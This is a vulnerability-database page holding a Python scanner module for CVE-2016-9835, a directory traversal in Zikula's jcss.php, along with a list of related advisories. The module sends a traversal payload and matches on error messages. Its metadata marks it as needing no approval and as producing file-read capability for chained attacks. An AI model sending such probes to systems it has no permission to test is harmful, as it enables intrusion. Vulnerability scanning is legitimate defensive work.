Zikula - jcss.php Path Traversal Detection (CVE-2016-9835)
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| Zikula Directory Traversal Vulnerability | 8 Dec 201600:00 | – | cnvd | |
| CVE-2016-9835 | 5 Dec 201608:09 | – | cve | |
| CVE-2016-9835 | 5 Dec 201608:09 | – | cvelist | |
| EUVD-2016-10635 | 7 Oct 202500:30 | – | euvd | |
| CVE-2016-9835 | 5 Dec 201608:09 | – | mend | |
| CVE-2016-9835 | 5 Dec 201608:59 | – | nvd | |
| Zikula 'jcss.php' Directory Traversal Vulnerability | 9 Dec 201600:00 | – | openvas | |
| Directory traversal | 5 Dec 201608:59 | – | prion | |
| PT-2016-7835 | 5 Dec 201600:00 | – | ptsecurity | |
| CVE-2016-9835: Improper Neutralization of Special Elements used in a Command | 5 Dec 201600:00 | – | rapid7 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Zikula jcss.php directory traversal (CVE-2016-9835)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Zikula - jcss.php Path Traversal Detection (CVE-2016-9835)',
'description': (
'Detects CVE-2016-9835 by requesting jcss.php?f=..\\..\\..\\jcss.php and matching '
'ERROR: Corrupted file without Requested file not readable.'
),
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': [
'web', 'scanner', 'cve', 'cve2016', 'zikula', 'lfi', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 0.7,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2016-9835'],
'cve': 'CVE-2016-9835',
}
def run(self):
for base in ('', '/zikula'):
path = f'{base}/jcss.php?f=..\\..\\..\\..\\..\\jcss.php'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 500:
continue
body = r.text or ''
if 'ERROR: Corrupted file' in body and 'ERROR: Requested file not readable' not in body:
self.set_info(
severity='medium',
reason='Zikula jcss.php traversal (CVE-2016-9835)',
path=f'{base}/jcss.php',
)
return True
return False
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10 Aug 2026 06:19Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 39.8
EPSS0.03918